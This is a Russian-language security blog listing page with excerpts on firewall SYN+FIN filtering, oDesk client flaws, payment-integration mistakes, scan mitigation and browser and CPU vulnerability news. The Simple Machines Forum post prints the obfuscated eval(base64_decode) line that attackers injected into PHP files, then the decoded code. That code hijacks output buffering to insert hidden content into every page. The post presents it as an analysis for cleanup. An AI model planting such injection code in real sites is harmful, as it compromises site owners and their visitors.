TCP/IP SYN+FIN Packet Filtering Weakness

Сканируя Nessus парочку хостов, столкнулся с тем, что Nessus определял, что система ( 2.6.x) не фильтрует TCP/IP пакеты, у которых установлены флаги SYN и FIN, что, теоретически, может привести к обходу межсетевого экрана (firewall). Далее »

Автор: , опубликовано в: Linux, комментариев: 1
3
Авг
2009

oDesk Time Tracker Vulnerabilities

  1. Time Tracker does not verify the certificate of the host it connects to thus becoming vulnerable to various Man-in-the-Middle attacks (if an attacker is able to spoof DNS for team.odesk.com — say, by setting up a fake DHCP and DNS servers in the local network — or posion the DNS cache or whatever — this is doable). Далее »
Автор: , опубликовано в: Безопасность, комментариев: 3
15
Июн
2009

Уязвимость в форуме SMF

В последнее время участились сообщения о взломах форумов, работающих на (Simple Machines Forum), среди пострадавших оказался и форум русского сообщества Ubuntu. Но в чем именно проблема и чего бояться непонятно, информации было крайне мало.

Сегодня появилась дополнительная информация. Данной уязвимости подвержены все версии форума, включая последнюю стабильную версию 1.1.8. существует в функции масштабирования аватаров.

Дополнительная информация здесь.

Проявляется эта уязвимость следующим образом: во все -файлы приписывается такая строка:

[-]
View Code PHP
< ?php /**/eval(base64_decode('aWYoZnVuY3R(поскипано)9fQ==')); ?>

BASE64 декодируется в такой PHP-код (я отформатировал код, чтобы сделать его читаемым):

[-]
View Code PHP
< ?php
if(function_exists('ob_start')&&!isset($GLOBALS['sh_no'])){
    $GLOBALS['sh_no']=1;
    if(file_exists('.../style.css.php')){
        include_once('.../style.css.php');
        if(function_exists('gml')&&!function_exists('dgobh')){
            if(!function_exists('gzdecode')){
                function gzdecode($d){
                    $f=ord(substr($d,3,1));
                    $h=10;
                    $e=0;
                    if($f&4){
                        $e=unpack('v',substr($d,10,2));
                        $e=$e[1];
                        $h+=2+$e;
                    }
                    if($f&8){
                        $h=strpos($d,chr(0),$h)+1;
                    }
                    if($f&16){
                        $h=strpos($d,chr(0),$h)+1;
                    }
                    if($f&2){
                        $h+=2;
                    }
                    $u=gzinflate(substr($d,$h));
                    if($u===FALSE){
                        $u=$d;
                    }
                    return $u;
                }
            }
            function dgobh($b){
                Header('Content-Encoding: none');
                $c=gzdecode($b);
                if(preg_match('/\<body/si',$c)){
                    return preg_replace('/(\<body[^\>]*\>)/si','$1'.gml(),$c);
                }
                else{
                    return gml().$c;
                }
            }
            ob_start('dgobh');
        }
    }
}
?>

«Заражаются» все PHP-файлы, до которых «вирус» смог добраться: если у Вас на сайте живёт не только форум, то Вам не повезло. Как вариант, можно восстановить все файлы из резервной копии. Но что делать, если резервной копии нет?

Есть два варианта. Далее »

Автор: , опубликовано в: Linux, Simple Machines Forum, Безопасность, комментариев: 2
23
Май
2009

Как не нужно интегрировать платёжные системы

Внимание: данную статью не следует воспринимать как руководство юного хакера; материал приведён исключительно в ознакомительных целях, чтобы программисты не повторяли подобных ошибок. Далее »

Автор: , опубликовано в: Безопасность, комментариев: 8
21
Ноя
2008

Минимизируем неприятные последствия HTTP-сканирования

Анализируя логи Апача после полуторамесячного отпуска, я обратил внимание на то, что попыток сканирования сайта на уязвимости стало гораздо больше (сравнивая, например, с летом). Я решил проанализировать все попытки и попытаться найти решение, которое держало бы юных хакеров подальше от сайта.

Если Вы всё еще читаете :-), то скажу, что практическая реализация моего решения требует наличие доступа на запись только к файлу .htaccess, поэтому всё должно работать даже на общем хостинге. Далее »

Автор: , опубликовано в: Безопасность, комментариев: 28
19
Ноя
2008

Водка с феназепамом? Или всё-таки правда?

Наткнулся сегодня на очень интересную статью:

Российский хакер, известный как Крис Касперски, обнаружил в процессорах , которая позволяет совершить удаленный системы при помощи скрипта на JavaScript или TCP/IP-пакета вне зависимости от операционной системы. Об этом пишет PC World со ссылкой на краткое описание презентации, подготовленной Касперски.

Хакер намерен в октябре продемонстрировать свою методику на конференции Hack In The Box в малайзийском Куала-Лумпуре. Касперски заявил, что намерен показать работающий код и сделать его общедоступным. Он добавил, что ошибки в микропроцессорах становятся все более серьезной угрозой, так как уже пишутся использующие их зловредные программы.

По словам хакера, некоторые ошибки процессоров позволяют просто обрушить систему, другие помогают злоумышленнику получить доступ на уровне ядра ОС, а использование третьих отключает защиту Vista.

Крис Касперски продемонстрирует свою методику взлома на компьютерах с XP, Vista, Server 2003, Server 2008, ОС на базе ядра и BSD. Возможно, также добавится Mac. На все эти системы будут установлены последние обновления.

Всё же интересно: правда ли это? Или доблестные щелкопёры всё приукрасили?

В оригинале статьи сказано:

In this presentation, I will share with the participants the finding of my CPU malware detection research which was funded by Endeavor Security. I will also present to the participants my improved POC code and will show participants how it’s possible to make an attack via JavaScript code or just TCP/IP packets storms against Intel based machine. Some of the bugs that will be shown are exploitable via common instruction sequences and by knowing the mechanics behind certain JIT Java-compilers, attackers can force the compiler to do what they want (for example: short nested loops lead to system crashes on many CPUs). I will also share with the participants my experience in data recovery and how CPU bugs have actually contributed in damaging our hard drives without our knowledge.

И я вот не могу отделаться от подозрения, что всё это розыгрыш: начать уж с того, что Java != JavaScript, и не факт, что любой движок для JavaScript будет компилировать JavaScript в родной код процессора. И я не уверен, что процессор может напрямую повредить жесткий диск (разве что он будет скармливать контроллеру соответствующие команды). Обработкой TCP/IP-пакетов процессор напрямую вообще не занимается (если только я что-то не пропустил).

Очень подозреваю, что выяснится десяток жутко специальных требований, необходимых для успешной реализации данной уязвимости.

Но всё-таки, вдруг это не самореклама и Крис прав?

Автор: , опубликовано в: Безопасность, комментариев: 21
16
Июл
2008

Доказана критичность уязвимости в Safari для Windows

Всё-таки как можно переставить всё с ног на голову… Прочитал сегодня статью на CNews.com; она небольшая, привожу полностью:

Исследователь безопасности разработал сайт, наглядно демонстрирующий риск, с которым сталкиваются пользователи при использовании браузера от Apple.

ИБ-команда уже предупредила, что «смешанная угроза» настолько серьезна, что пользователям Windows следует ограничить использование Safari до тех пор, пока не выйдет патч. В своем блоге исследователь Лю Ди Ю (Liu Die Yu) показал, что это предупреждение не было преувеличением.

При клике по указанной исследователем ссылке в Safari с настройками по умолчанию на рабочий стол пользователя Windows загружается файл-ловушка. В следующий раз, когда пользователь открывает Internet Explorer, файл автоматически запускает notepad.exe и открывает несуществующий файл. Разумеется, злоумышленники могут найти менее безобидное применение данной уязвимости, пишет The Register.

По словам Apple, не является критической. Эта демонстрация свидетельствует об обратном.

Далее »

Автор: , опубликовано в: Windows, Безопасность, комментариев: 5
15
Июн
2008

Защищено: Уязвимости oDesk

Эта запись защищена паролем. Для её просмотра введите, пожалуйста, пароль:


Автор: , опубликовано в: Безопасность, комментариев: Введите пароль для просмотра комментариев.
10
Апр
2008

Безопасность, о которой все так много говорят…

Специалисты по безопасности, пожалуй, всем уже проели плешь, говоря о том, что все данные, приходящие от пользователя, нужно тщательно проверять… Казалось бы, "азбучные истины", этому должны учить в школе :-) . Мне стало интересно: а многие ли сайты действительно защищены? Далее »

Автор: , опубликовано в: Безопасность, комментариев: 12
11
Мар
2008
«
  • 1
  • 2